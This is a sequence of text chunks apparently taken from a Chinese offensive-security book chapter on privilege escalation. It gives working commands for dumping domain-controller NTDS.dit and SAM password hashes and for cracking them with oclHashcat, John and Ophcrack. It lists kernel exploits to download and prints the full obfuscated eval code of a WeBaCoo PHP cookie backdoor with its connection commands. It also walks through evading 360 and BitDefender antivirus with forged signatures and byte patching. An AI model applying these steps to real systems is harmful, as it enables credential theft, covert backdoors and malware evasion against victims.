    {"text": "（1）创建快照 ntdsutil snapshot \"activate instance ntds\" create quit quit （2）使用 Ntdsutil 挂载活动目录的快照 ntdsutil snapshot \"mount {GUID}\" quit quit {GUID}是动态获取的，如图 1-6 所示。 图 1-6 导出快照文件 （3）复制快照的本地磁盘 copy MOUNT_POINT\\windows\\NTDS\\ntds.dit c:\\ntds.dit （4）卸载快照 ntdsutil snapshot \"unmount {GUID}\" quit quit 10 第 1 章 提权基础 （5）删除快照 ntdsutil snapshot \"delete {GUID}\" quit quit 使用命令“QuarksPwDump.exe --dump-hash-domain --ntds-file c:\\ntds.dit”将导出的 ntds.dit 文件 中 Hash 值全面导出。"},
    {"text": "tdsutil snapshot \"activate instance ntds\" create quit quit ntdsutil snapshot \"mount {a0455f6c-40c3-4b56-80a0-80261471522c}\" quit quit 快照{5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}已挂接为 C:\\$SNAP_201212082315_VOLUMEC$\\， 代码如下。 copy C:\\$SNAP_201212082315_VOLUMEC$\\windows\\NTDS\\ntds.dit c:\\ntds.dit ntdsutil snapshot \"unmount {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}\" quit quit ntdsutil snapshot \"delete {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}\" quit quit QuarksPwDump.exe --dump-hash-domain --ntds-file c:\\ntds.dit 说明 获取 Hash 值最好在同一台服务器上执行，即将 QuarksPwDump.exe 直接放在导出 ntds.dit 的服 务器上执行导出命令。"},
    {"text": "网上也 曾经出现一个 NTDS.dit 密码快速提取工具 NTDSDump，读者可以自己进行测试。 如果想下载 ntds.dit 到本地恢复，还需要执行“reg save hklm\\system system.hive”命令，将 system.hive 和 ntds.dit 全部复 制到本地进行域控密码的获取。"},
    {"text": "1.2.4 使用 PwDump 获取系统账号和密码 在网络攻击中，通过一些溢出程序成功溢出被攻击计算机后，最重要的一个步骤就是获取该计 算机中的用户账号和密码。"},
    {"text": "使用计算机中用户原来的账号和密码登录 3389 终端，优于在系统中 增加或者克隆账号，因为在系统中增加或者克隆账号容易被发现，从而导致被控计算机丢失。"},
    {"text": "获取 系统账号和密码的方法很多，本案例使用比较流行的 PwDump 和 LSASecretsView 来获取系统中的账 号和密码。 1．上传文件到欲获取密码的计算机中 PwDump 4.02 版本中有两个文件：一个是 Pwd4.dll，另外一个是 Pwdump4.exe（在早期版本中， 其 DLL 文件为 lsaext.dll）。"},
    {"text": "到系统根目录中执行“pwd4 /l /o:*.*.*.82.sam”命 令，将系统中的账号和密码信息导出到*.*.*.82.sam 文件。 导出成功后，会给出一些提示信息，如操 作系统版本情况及有多少个用户等，如图 1-7 所示，然后将其 sam 文件传输回本地计算机。"},
    {"text": "11 网络攻防实战研究：漏洞利用与提权 图 1-7 执行获取密码的命令 说明 本例中直接将 Pwdump4.exe 的名称更改为“pwd4.exe”，是为了在操作中少输入字母。"},
    {"text": "1.2.5 使用 SAMInside 获取及破解 Windows 系统密码 在通过 SQL 注入等方式获取网站的 WebShell 后，就可以利用系统的各种漏洞进行提权，提权成 功后，就可以通过远程终端登录系统。"},
    {"text": "1．下载和使用 SAMInside SAMInside 的官方下载地址为 http://www.insidepro.com/download/saminside.zip，目前最新版本为 2.7.0.2，该版本中不再提供 GetHashes 工具。"},
    {"text": "2．使用 Scheduler 导入本地用户的 Hash 值 直接运行 SAMInside，如图 1-8 所示，单击第 3 个小图标，然后选择“Import Local Users via Scheduler”选项，将本地用户的 Hash 值导出。 虽然 SAMInside 中还提供了从 LSASS 导出本地用户 的机制，但该方法在一些操作系统中容易出错（这两个方法均可使用）。 图 1-8 使用 Scheduler 导入本地用户的 Hash 值 12 第 1 章 提权基础 3．查看导入的 Hash 值 在使用 SAMInside 导入本地用户的 Hash 值时，必须具有管理员权限。 在一些情况下，管理员会 对磁盘进行权限限制，这时需要为 SAMInside 授权后才能获取系统用户的 Hash 值。"},
    {"text": "如图 1-9 所示， 一共获取了 4 个用户的 Hash 值，该值按照 User、RID、LM-password、NT-password、LM-hash、NT-hash 和 Description 的顺序进行显示。"},
    {"text": "超过 14 位的密码在 LM-password 列中会以全 0 显示（在老版本中以“AA3D”开 头的值也表示密码位数超过 14 位，例如“simeon:1005:AAD3B435B51404EEAAD3B435B51404EE: 5E9C2FAAE669F5D06F33014E33AC2CFC:::”，其密码就超过了 14 位）。"},
    {"text": "图 1-9 查看导入的 Hash 值 4．导出系统用户的 Hash 值 单击“File”→“Export Users to PWDUMP File”选项，将获取系统用户的密码 Hash 值导出为 一个文件，其内容如图 1-10 所示，然后将该文件导入 Ophcrack 中进行破解。"},
    {"text": "SAMInside 本身也能破 解系统 Hash 值，不过破解速度和效果不如 Ophcrack。 对一些简单的密码，SAMInside 可以直接显示， 对此感兴趣的读者可以直接尝试使用 SAMInside 破解系统 Hash 值。"},
    {"text": "图 1-10 导出系统用户的 Hash 值 1.2.6 使用 oclHashcat 破解 Windows 系统账号密码 oclHashcat 号称“世界上最快的密码破解工具”及“世界上第一个和唯一的基于 GPGPU 规则的 引擎”，提供免费多 GPU（高达 128 个 GPU）、多 Hash、多操作系统（Linux 和 Windows 本地二进制 文件）、多平台（OpenCL 和 CUDA 支持）、多算法，资源利用率低，基于字典攻击，支持分布式破解。"},
    {"text": "oclHashcat for AMD 的下载地址为 http://hashcat.net/files/oclHashcat-1.31.7z。 oclHashcat for Nvidia 的下载地址为 http://hashcat.net/files/cudaHashcat-1.31.7z。 oclHashcat 系列软件在硬件上支持使用 CPU、NVIDIA GPU、ATI GPU 进行密码破解，在操作系 统上支持 Windows、Linux 平台，并且需要安装官方指定版本的显卡驱动程序（如果驱动程序版本不 13 网络攻防实战研究：漏洞利用与提权 对，可能导致程序无法运行）。"},
    {"text": "可以通过 Catalyst 自动侦测和下载检测工具来检测当前系统应 该下载哪个版本，下载地址为 http://support.amd.com/en-us/download/auto-detect-tool，还可以通过 360 的软件管理界面直接搜索“Catalyst”，选择合适的版本安装。"},
    {"text": "单击“开始”→“运行”选 项，输入“cmd”并按“Shift+Ctrl+Enter”组合键， 输入命令“net user antian365 password /add” （以管理 员权限启动 cmd.exe 程序也可），执行成功后如图 1-11 所示。"},
    {"text": "SAMInside 官方网站目前已经停止 图 1-11 添加测试账号 SAMInside 软件的开发了，读者可以到华军软件园 下载，地址为 http://gwbnsh.onlinedown.net/down2/saminside.v2.6.1.0.chs.rar。"},
    {"text": "UAC（User Account Control，用户账户控 制）是微软为提高系统安全性在 Windows Vista 中引入的技术，它要求用户在执行可能影响计算机运 行或更改影响其他用户设置的操作之前提供权限或管理员密码。 通过在这些操作启动前对其进行验 证，UAC 可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进 行更改，因此获取密码的工具都需要以管理员身份运行。"},
    {"text": "选择 SAMInside.exe 程序，单击右键，在弹出的快捷菜单中选择“以管理员身份运行”选项，然 后在 SAMInside 程序主界面上单击第 3 个图标，选择“Import local user using Scheduler”选项来获取 密码，如图 1-12 所示，即可获取本机所有账号的密码 Hash 值等信息。 图 1-12 获取密码 Hash 值 14 第 1 章 提权基础 （3）整理 Hash 值 在 SAMInside 中可以导出所有账号的 Hash 值，也可以复制单个账号的 Hash 值。"},
    {"text": "单击“File” 菜单中的“导出用户到 pwdump 文件”命令，即可导出获取的 Hash 值。 也可以选择 Hash 值，单击 右键，在弹出的快捷菜单中选择“复制”→“NT hash”选项获取 NT Hash 值。"},
    {"text": "（4）破解 Hash 值 将准备好的字典 ptemp.txt 和需要破解的 Hash 值 文件 win2.hash 复制到 oclHashcat32 程序所在文件夹 下，执行如下命令进行破解。 图 1-13 整理需要破解的 Hash 值 oclHashcat32 -m 1000 -a 0 -o winpass1.txt --remove win2.hash ptemp.txt “-m 1000”表示破解密码类型为 NTLM；"},
    {"text": "图 1-14 显示破解信息 15 网络攻防实战研究：漏洞利用与提权 （5）查看破解结果 运行“type winpass1.txt”命令查看破解结果，如图 1-15 所示，该账号的密码为“password”。"},
    {"text": "论坛密码算法 md5(md5($pass).$salt) 的破解命令为“oclHashcat32 -m 2611 -a 0 -o winpass1.txt --remove dz.hash ptemp.txt”；"},
    {"text": "Linux SHA512 加密的破解命令为“oclHashcat32 -m 1800 sha512linux.txt p.txt”； Linux 下的 MD5 加密破解命令为 “oclHashcat32 -m 500 linuxmd5.txt p.txt”。"},
    {"text": "1.2.7 使用 L0phtCrack 破解 Windows 及 Linux 密码 L0phtCrack（LC）是一款强大的密码审计工具，目前最新版本为 6.0.20，官方下载地址为 http://www.l0phtcrack.com/lc6setup_v6.0.20.exe。"},
    {"text": "它是一款网络管理员的必备的工具，可以用来 检测 Windows、UNIX 用户是否使用了不安全的密码，同时也是最好、最快的 Windows NT/2000/XP 及 UNIX 管理员账号密码破解工具之一。"},
    {"text": "如果不想在每次启动时都运行这个向导，可以选中“下 次启动不再显示此向导”选项（如果是第一次使用 LC5，建议仔细阅读向导前面的文字，对建立会 话的过程有一个大致的理解）。"},
    {"text": "来到“取得加密口令”窗口，如图 1-16 所示，这里列出了 LC5 破解 密码的 4 种途径，因为笔者具有本机管理员权限，所以默认选择第一种方式。 （3）选择破解方法 在“选择破解方法”窗口中有“快速口令破解”、“普通口令破解”、“复杂口令破解”和“自定 义”4 个选项，如图 1-17 所示，可以根据实际情况，按照“先简单，后复杂”的模式进行选择。"},
    {"text": "图 1-16 选择密码导入方式 图 1-17 选择破解方法 图 1-18 选择报告风格 图 1-19 开始破解口令 在 LC5 的用户主界面会显示域、机器名、用户名、LM 认证口令等（也就是在“选择报告风格” 窗口选定的内容）。"},
    {"text": "2．导入 Hash 文件进行破解 （1）获取系统 Hash 值 有关获取系统 Hash 值的内容在前面已经介绍过，这里就不赘述了。 将获得的 Hash 值保存为 TXT 文件，单击“会话”→“导入”选项，出现如图 1-20 所示的窗口，在其中选择“从文件导入” →“从 PWDUMP 文件”选项，选择 Hash 文件进行导入。"},
    {"text": "在从文件导入中可以看到 4 个选项，分别 是“从 SAM 文件”、“从 LC4 文件”（LC5 早期版本）、“从 PWDUMP 文件”及“从 UNIX Shadow 文件”（破解 Linux 密码）。"},
    {"text": "从 SAM 文件：关于 SAM 表的位置，Windows NT/2000 位于 C:\\WinNT\\system32\\config\\目录 下，Windows XP/2003/Vista 位于 C:\\Windows\\system32\\config\\目录下。 要想获得 SAM 表， 可以通过光盘或者其他工具进入 DOS 环境，将其复制出来。"},
    {"text": "默认 LC 将未完成的任务保存成以“.LCs”结尾 的文件，这样就可以在下次直接打开已经保存的任务继续破解，省去了每次都要重复破解的 麻烦。 LC5 是兼容 LC4 的，如果有 LC4 未完成的任务，或者在某种特定情况下只能用 LC5 将用户信息读出，先保存成 LC4 文件再用 LC5 读取也不失为一种好办法。"},
    {"text": "所以，LCS 引用了一种新的机制，将所有用户的密码信息存放 在/etc/shadow 中，而这个文件只有在获得 root 权限后才可以读取，这样就保证了系统的安 全性。"},
    {"text": "（2）设置会话选项 会话选项中包括 LC5 密码破解的所有选项，主要是字典破解、混合字典攻击及暴力破解和散列 攻击的设置，如图 1-21 所示。"},
    {"text": "早期 Windows 2000 及 Windows XP 操作系统使用较多，后期出现了 Windows Server 2008 及 Windows Server 2012 等高级版本，因此 Hash 值前半部分为“AA3D”的字 符串是无法破解的，将显示为“no password”，这时就需要勾选“破解 NTLM 认证口令”复选框。"},
    {"text": "在使用 LC5 获取*nux 的密码的时候，是通过 SSH 方式登录服务器获取的，所以在使用 LC5 远 程获取/etc/shadow 文件时，一定要确保有管理员权限，并且远程服务器一定要开启 SSH 服务。"},
    {"text": "（1）从远程计算机导入 打开“导入”对话框，选择“远程计算机”选项，单击“增加”按钮，弹出“从远程电脑导入” 对话框，选择 UNIX 系统，如图 1-24 所示。"},
    {"text": "图 1-26 设置密码破解方式 图 1-27 破解 Linux 密码 1.2.8 使用 Ophcrack 破解系统 Hash 密码 在密码破解中使用最多的工具是 LC5，但 LC5 的破解时间相对较长。"},
    {"text": "本节将给出一个在 5 分钟 内破解不超过 14 位系统密码的例子（绝大多数情况下仅需要几十秒）——这意味着当一个系统存在 漏洞时，攻击者可以在很短的时间内控制并渗透内部网络！"},
    {"text": "2．使用 Ophcrack 运行 Ophcrack，如图 1-29 所示，该软件主要有“Load”、 “Delete”、 “Save”、 “Tables”、 “Crack”、 “Help”及“Exit”7 个模块。 “Load”主要负责装载 Hash 或者 SAM 文件，“Delete”主要用于删除破 解条目，“Save”主要用于保存破解结果或者破解 Session，“Tables”主要用于设置彩虹表，“Crack” 用于开始执行破解，“Help”用于查看帮助文件，“Exit”用于退出。"},
    {"text": "20 第 1 章 提权基础 图 1-28 安装时建议不下载彩虹表 图 1-29 Ophcrack 软件主界面 3．下载彩虹表 可以到 Ophcrack 提供的彩虹表下载网站 http://ophcrack.sourceforge.net/tables.php 下载彩虹表，在 本案例中分别下载了 3 个免费的彩虹表。 4．设置彩虹表 在 Ophcrack 主界面单击“Tables”按钮，就会出现如图 1-30 所示的“Table Selection”界面。"},
    {"text": "图 1-30 选择彩虹表 图 1-31 选择要安装的彩虹表 21 网络攻防实战研究：漏洞利用与提权 注意 在 Ophcrack 中，彩虹表的上级目录名称必须为“tables”，否则彩虹表安装将会失败。 彩虹表安装成功后，其条目会变成绿色，而且可以查看一共有多少个表，如图 1-32 所示。 图 1-32 彩虹表安装成功 5．准备破解材料 这里的破解材料主要是指通过 GetHashes、PwDump 等软件获取的系统 Hash 密码值。"},
    {"text": "一共有 6 个选项，第 1 个主 要用于对单个 Hash 值的破解，第 2 个是对获取的 PwDump 文件进行破解，第 3 个是对加密的 SAM 文件进行破解，第 4 个和第 5 个主要用来审计或者破解本地和远程 Hash 值。 图 1-33 选择破解类型 22 第 1 章 提权基础 （2）查看密码 Hash 值 在本例中选择一个已经 PwDump 的文件，如果 PwDump 系统的 Hash 密码没有错误，则会在 Ophcrack 主界面中正确显示。"},
    {"text": "图 1-34 显示获取的密码 Hash 值 （3）清理无用的 Hash 值 在本例中，“IUSR_XFFZD-R1”、“TWWM_XFZD-SER1”和“TsInternetUser”这 3 个用户是系 统自身的，在口令破解中基本没有用处（除非有人对该账号进行了克隆），因此可以分别选中需要删 除的账号，然后单击主界面上的“Delete”按钮，删除这 3 个无用的账号，接着添加“king$”账号， 仅留下并破解管理员账号。"},
    {"text": "图 1-35 清理无用的 Hash 值 23 网络攻防实战研究：漏洞利用与提权 （4）执行破解 单击“Crack”案例开始破解，很快就得到密码“www119”，其“LM Pwd1”值与“NT Pwd” 值相同，破解密码的时间仅为 37 秒，如图 1-36 所示。 图 1-36 破解系统密码成功 （5）查看破解统计信息 在主界面中单击“Statistics”标签，可以查看破解 Hash 值的信息，如图 1-37 所示。 图 1-37 查看所破解密码的有关统计信息 （6）破解参数设置 单击“Preferences”标签，打开破解参数设置窗口，如图 1-38 所示，可以设置破解的线程、破 解方式及是否隐藏用户名等。"},
    {"text": "24 第 1 章 提权基础 图 1-38 设置破解参数 1.3 使用 John the Ripper 破解 Linux 密码 John the Ripper（以下简称“John”）是 Kali Linux 的十大安全工具之一，是一款基于字典的密码 破解工具，官方网站为 http://www.openwall.com/john/，目前适用于 Windows 的版本为 john179j5w， 适用于 Linux 的版本为 John 1.8.0。"},
    {"text": "Windows 图形界面可以访问 http://openwall.info/wiki/john/johnny 下载。 1.3.1 准备工作 1．下载并解压 访问 John 的官方网站，下载 Windows 环境下的 john179j5w 版本（http://www.openwall.com/john/ g/john179j5w.zip），将文件直接解压到 run 目录下。"},
    {"text": "先将 passwd 和 shadow 文件下载， 或者读取其内容并保存为相应的文件，然后将用户名后面的字符串复制到一个 txt 文件中（例如命名 为 shadow.txt），如图 1-39 所示。"},
    {"text": "1．字典文件破解模式（Wordlist Mode） 这是 John 所支持的破解模式中最简单的一种，我们要做的唯一工作就是告诉 John 字典文件在 哪里（字典文件是文本文件，每行一个单字，代表尝试的密码），以便 John 取出破解。 在字典文件 破解模式里，可以使用“字词变化”功能让每个读入的单字自动套用这些规则，以提高破解机率。"},
    {"text": "2．简单破解模式（Single Crack） 简单破解模式是针对将账号作为密码使用的“懒人”所设计的。 如果一个使用者的账号是“john”， 密码也为“john”，那么在简单破解模式里 John 会拿密码文件内“账号”列的相关信息来破解密码， 并且将多种字词变化规则套用到“账号”内，以提高破解的机率。 例如，对账号“john”，会尝试用 “john”、“john0”、“njoh”、“j0hn”等来破解。 3．增强破解模式（Incremental Mode） 这是 John 功能最强大的破解模式，它会自动尝试所有可能的字符组合，然后将其当作密码来破 解。 这个破解模式所需要的时间非常长，因为尝试组合字符要耗费非常多的时间，所以 John 定义了 一些字符频率表（Character Frequency Tables）来帮助破解。"},
    {"text": "4．外挂破解模式（External Mode） 这种破解模式让使用者可以自己用 C 语言编写一些破解模式程序，然后将其挂在 John 里面使 用。 其实所谓“破解模式程序”就是一些用 C 语言设计的函数，其功能就是产生一些单字来让 John 尝试破解。 运行 John，当载入破解模式程序时会自动编译这些 C 语言函数并使用它们。"},
    {"text": "john -single passwd //单一模式 john -wordfile:bigdict.dic passwd //字典破解模式 john -wordfile:bigdict.dic -rules passwd //字典加规则进行破解 john -i:all passwd //增强模式破解 john -external:double passwd //外挂模式破解 1.3.3 使用 John 破解 Linux 密码 将密码字典文件及其需要破解的 Shadow 放在 John 目录的 run 文件夹中，然后根据情况进行破 26 第 1 章 提权基础 解。 password.dic 为密码字典，shadow.txt 是需要破解的 Linux 密码文件。 1．简单密码破解 “John -single shadow.txt”和“john shadow.txt”命令是最直接、最简单的破解方式。 如图 1-40 所 示，简单密码的破解效果不一定很好，主要是根据用户名来做一些变化。 例如，“antian”是用户名， 使用简单模式，可能会设计密码“antian123”、“antian456”等来破解“傻瓜型”的密码。 图 1-40 使用简单模式进行破解 2．使用密码字典进行破解 这是 John 破解模式中最简单的一种，需要指定字典位置，如果没有指定路径，则默认是在当前 目录下。"},
    {"text": "john -wordlist=password.dic shadow.txt 或者 john –w:pass.txt shadows.txt 或者 john.exe -wordlist=D:\\john\\dic\\password.dic D:\\john\\shadow\\shadow.txt 密码字典可以访问 https://wiki.skullsecurity.org/Passwords 下载。"},
    {"text": "一般来讲，如果有特定信息组合 的字典，破解效果会比较好，也就是说，要收集一切可能是被破解用户密码的信息（目前有社工字 典生成器可供选择）。"},
    {"text": "如果需要查看详细信息，可以打开 John 目录下的 john.pot 文件，如图 1-42 所示，会显示密码值和破解的密码明文。 图 1-41 显示破解成功的用户名和密码 图 1-42 查看 john.pot 文件 3．使用规则模式+字典进行破解 john -w: password.dic -rules shadow.txt rules 在 john.ini 文件中定义。 27 网络攻防实战研究：漏洞利用与提权 1.3.4 查看破解结果 使用“john –show shadow.txt”命令可以查看破解结果。 破解 Linux 密码，首先需要使用 unshadow 命令，得到一个破解程序识别的口令文件，然后将 /etc/passwd 和/etc/shadow 文件组合起来，执行“unshadow /etc/passwd /etc/shadow > passwd”命令， 再使用 John 进行破解。"},
    {"text": "1.4 Linux 提权辅助工具 Linux Exploit Suggester Linux Exploit Suggester 是一款根据操作系统版本号自动查找相应提权脚本的工具，如果不带任 何参数运行该脚本，将执行“uname -r”命令返回操作系统发行版本信息，也可以手工输入“-k”参 数查找指定版本号。 Linux Exploit Suggester 的官方下载地址为 https://github.com/PenturaLabs/Linux_ Exploit_Suggester，该程序 2014 年以后就没有更新了。"},
    {"text": "perl ./Linux_Exploit_Suggester.pl -k 3.0.0 或者 ./Linux_Exploit_Suggester.pl -k 3.0.0 图 1-43 列出所有可用的漏洞利用程序 如果执行的是默认程序，则自动识别当前内核版本，并提示可以利用的漏洞程序。"},
    {"text": "sh-3.2$ ./Linux_Exploit_Suggester.pl Kernel local: 2.6.18 Searching among 65 exploits... Possible Exploits: [+] american-sign-language CVE-2010-4347 Source: http://www.securityfocus.com/bid/45408/ [+] can_bcm 28 第 1 章 提权基础 CVE-2010-2959 Source: http://www.exploit-db.com/exploits/14814/ [+] do_pages_move Alt: sieve CVE-2010-0415 Source: Spenders Enlightenment [+] ftrex CVE-2008-4210 Source: http://www.exploit-db.com/exploits/6851 [+] half_nelson Alt: econet CVE-2010-3848 Source: http://www.exploit-db.com/exploits/6851 [+] half_nelson1 Alt: econet CVE-2010-3848 Source: http://www.exploit-db.com/exploits/17787/ [+] half_nelson2 Alt: econet CVE-2010-3850 Source: http://www.exploit-db.com/exploits/17787/ [+] half_nelson3 Alt: econet CVE-2010-4073 Source: http://www.exploit-db.com/exploits/17787/ [+] msr CVE-2013-0268 Source: http://www.exploit-db.com/exploits/27297/ [+] pipe.c_32bit CVE-2009-3547 Source: http://www.securityfocus.com/data/vulnerabilities/exploits/ 36901-1.c [+] pktcdvd CVE-2010-3437 Source: http://www.exploit-db.com/exploits/15150/ [+] reiserfs CVE-2010-1146 Source: http://www.exploit-db.com/exploits/12130/ [+] sock_sendpage Alt: wunderbar_emporium CVE-2009-2692 Source: http://www.exploit-db.com/exploits/9435 [+] sock_sendpage2 Alt: proto_ops CVE-2009-2692 Source: http://www.exploit-db.com/exploits/9436 [+] udp_sendmsg_32bit CVE-2009-2698 Source: http://downloads.securityfocus.com/vulnerabilities/exploits/ 36108.c [+] video4linux CVE-2010-3081 Source: http://www.exploit-db.com/exploits/15024/ [+] vmsplice1 Alt: jessica biel CVE-2008-0600 Source: http://www.exploit-db.com/exploits/5092 29 网络攻防实战研究：漏洞利用与提权 1.4.2 下载可利用的脚本 使用“wget url 漏洞地址”命令下载漏洞程序。"},
    {"text": "例如，通过检测得知内核为 Linux 3.0.0，可能存 在 perf_swevent 漏洞，其漏洞编号为 CVE-2013-2094，可利用程序名字为 26131，下载命令如下。"},
    {"text": "1.5 PHP WeBaCoo 后门 WeBaCoo（Web Backdoor Cookie）是一款隐蔽的脚本类 Web 后门工具，它借助 HTTP 协议在客 户端和 Web 服务器之间实现了执行代码的网页终端。 WeBaCoo 的设计理念是躲避 AV、NIDS、IPS、 网络防火墙和应用防火墙的查杀，提供混淆和原始两种后门代码（原始代码较难检测）。 WeBaCoo 使用 HTTP 响应头传送命令执行的结果，Shell 命令经 Base64 编码后隐藏在 Cookie 头中，是目前较 为难得的一款 PHP 后门操控程序。"},
    {"text": "WeBaCoo 的官方网站为 https://bechtsoudis.com/archive/webacoo/index.html，下载地址为 https:// github.com/anestisb/WeBaCoo/zipball/master 及 http://bechtsoudis.com/data/tools/webacoo-latest.tar.gz。"},
    {"text": "git clone git://github.com/anestisb/WeBaCoo.git 30 第 1 章 提权基础 1.5.2 使用方法 1．操作模式 WeBaCoo 有生成（Generation）和终端（Terminal）两种模式。"},
    {"text": "2．使用生成模式 使用默认配置生成模糊后门代码 my_backdoor.php，命令如下。 webacoo.pl -g -o my_backdoor.php 使用 exec 有效载荷混淆后门代码生成 my_backdoor2.php 文件，命令如下。 webacoo.pl -g -o my_backdoor2.php -f 3 使用 popen 有效载荷生成原始后门代码 raw_backdoor.php 文件，命令如下。 webacoo.pl -g -o my_backdoor2.php -f 5 -r 3．使用终端模式 使用默认设置“-u web_path”访问服务器，命令如下。 webacoo.pl -t -u http://10.0.1.11/backdoor.php 将“Test-Cookie”作为 Cookie 名称、“TtT”作为分隔符，访问服务器，命令如下。 webacoo.pl -t -u http://10.0.1.11/backdoor.php -c \"Test-Cookie\" -d \"TtT\" 将“Test-Cookie2”作为 Cookie 名称、“TtT”作为分隔符，使用代理服务器 10.0.1.4:8080 访问 服务器，命令如下。 webacoo.pl -t -u http://10.0.1.11/backdoor.php -c \"Test-Cookie2\" -d \"TtTt\" -p 10.0.1.4:8080 将“My-Cookie”作为 Cookie 名称，使用 tor 代理网络访问后门，命令如下。 webacoo.pl -t -u http://example.com/backdoor.php -c \"My-Cookie\" -p tor 1.5.3 参数详解 WeBaCoo 的常用参数如下。"},
    {"text": "1.5.4 使用实例 （1）生成后门 使用“webacoo -g -o backdoor.php”命令生成 backpdoor.php 后门文件，如图 1-44 所示。 图 1-44 生成后门文件 （2）参考后门代码文件内容 使用“cat backdoor.php”命令查看其内容，具体如下。 <?php $b=strrev(\"edoced_4\".\"6esab\");eval($b(str_replace(\" \",\"\",\"a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = \"))); ?> （3）连接后门 使用“webacoo -t -u http://www.antian365.com/backdoor.php”命令连接服务器，如图 1-45 所示。"},
    {"text": "32 第 1 章 提权基础 图 1-45 连接后门所在服务器 图 1-46 执行命令 （4）下载文件 在当前状态下执行 load 命令后，使用“download filename”命令下载文件，前提是服务器当前 目录中存在该文件。"},
    {"text": "如图 1-47 所示，执行“dowload config_inc.php”命令，直接将 config_inc.php 文 件下载到本地，使用“cat config_inc.php”命令可以查看下载到本地的文件内容，如图 1-48 所示。"},
    {"text": "图 1-47 下载文件 图 1-48 读取下载的文件内容 （5）连接数据库 使用“mysql-cli localhost root password”命令连接数据库，可以对数据进行操作（在实际测试过 程中未能成功）。"},
    {"text": "WeBaCoo 在 Windows 操作系统中需要 PHP 程序 支持相应的函数，可以在 php.ini 文件中设置 disable_functions，取消禁用函数 exec、system、 passthru、shell_exec，示例如下。"},
    {"text": "webacoo -t -u https://example.com/https_test.php -p 127.0.0.1:8080 webacoo -t -u http://example.com/https_test.php -p 127.0.0.1:8080 在非 Ubantu 环境下，需要 liburi-perl、libio-socket-socks-perl 组件的支持，否则会报错，如 图 1-49 所示。"},
    {"text": "Windows 管理规范（WMI）提供程 序在没有正确地隔离 NetworkService 和 LocalService 账号的情况下运行的进程，同一账号下运行的 两个独立进程可以完全访问对方的文件句柄、注册表项等资源。 WMI 提供程序的主机进程在某些情 况下会持有 SYSTEM 令牌，如果攻击者可以以 NetworkService 或 LocalService 账号访问计算机，就 可以执行代码，探索 SYSTEM 令牌的 WMI 提供程序的主机进程。"},
    {"text": "单击“EP 区段”后的“>”按钮，如图 1-51 所示，查看 PR 程序一共有几个区段。 34 第 1 章 提权基础 图 1-50 查看 PR 程序基本信息 图 1-51 查看 EP 区段 因为文件体积比较小，所以区段也都不大，方便我们对该提权工具进行特征码定位免杀（当然， 如果有源代码，免杀更容易实现）。"},
    {"text": "2．更改 PR 文件的 MD5 值 （1）定位并修改字符串 用 C32ASM 将 PR 文件以 HEX（十六进制）方式打开，定位字符串“.DLL”，将其填充为“00”。"},
    {"text": "QVM 人工智能引擎的意义在 于，它不仅能够辅助这两款引擎进行扫描，提高查杀率，还能在断网状态下发挥作用，代替云查杀 引擎检测出最新的恶意程序。"},
    {"text": "4．绕过 QVMII 引擎 将“.DLL”填充为“00”后，如图 1-53 所示，利用数字签名添加工具以 360 杀毒为签名样本进 行伪造签名操作。 图 1-52 设置杀毒引擎 图 1-53 QVMII 引擎免杀 先选择一个带有数字签名的可执行文件，然后选择需要免杀的 PR 程序，如图 1-54 所示，对该 PE 文件添加数字签名操作后，QVMII 引擎已经初步免杀。 然后，使用 360 杀毒进行查杀，如图 1-55 所示，没有病毒告警，QVMII 引擎顺利绕过。 35 网络攻防实战研究：漏洞利用与提权 图 1-54 伪造签名 图 1-55 杀毒日志 5．对 BitDefender 杀毒引擎的免杀处理 BitDefender 引擎的查杀主要由特征码数据库来完成，所以针对该引擎的免杀需要定位特征码。"},
    {"text": "使用 BitDefender 引擎进行查杀，如图 1-56 所示，提示为病毒。 使用定位工具，选择要做免杀的 123.exe 文件，然后选中“复合定位”单选按钮，其他选项保持 默认值，如图 1-57 所示，定位其特征码。 图 1-56 BitDefender 引擎报警 图 1-57 定位特征码 该 PE 文件的特征码为 000022E9_00000002，用 C32ASM 定位该特征码地址即可找到该函数。"},
    {"text": "这里的汇编代码是“CALL00402A80”，我们可以使用 OllyDbg 来修改此处的代码，使用 JMP 指令将此处代码跳转到空白区域，从而在保证程序正常运行的情况下达到免杀的目的。"},
    {"text": "图 1-58 通过 C32ASM 软件定位特征码地址 图 1-59 通过 BitDefender 杀毒引擎 图 1-60 通过 5 个杀毒引擎 图 1-61 实际环境测试 1.6.3 加壳软件 VMProtect Ultimate VMProtect 是新一代的软件保护系统。"},
    {"text": "与 其他大部分保护程序不同，VMProtect 可以修改程序的源代码。 VMProtect 可将被保护文件中的部分代码转换到在虚拟机（以下称作 VM）上运行的程序（以下 称作 bytecode）中。"},
    {"text": "可是，我们也 知道，没有无法破解的保护程序，这也是我们将保护级别提高到破解费用与购买费用相当（破解费 用甚至超过购买费用）的程度的原因。"},
    {"text": "VMProtect 免杀相对简单，但进行免杀的程序要尽量使用原程序，即未做处理的程序。 对开发 者编译后的程序，VMProtect 能够很好地进行免杀，但如果程序进行处理过，在加壳后执行就可能会 出错。"},
    {"text": "38 第 1 章 提权基础 图 1-64 测试程序可否正常运行 1.7 通过 LCX 端口转发实现内网突破 理论上，只要是连接网络的计算机都可以被访问，但实际上，由于技术水平等原因，这一点往 往很难实现。"},
    {"text": "因此，要想让外网用户能够访问局域网中的系统服务，就必须进行端口 映射等操作。 端口映射在入侵内网的时候经常用到，特别是在登录远程终端服务时，使用端口映射 是非常方便的。"},
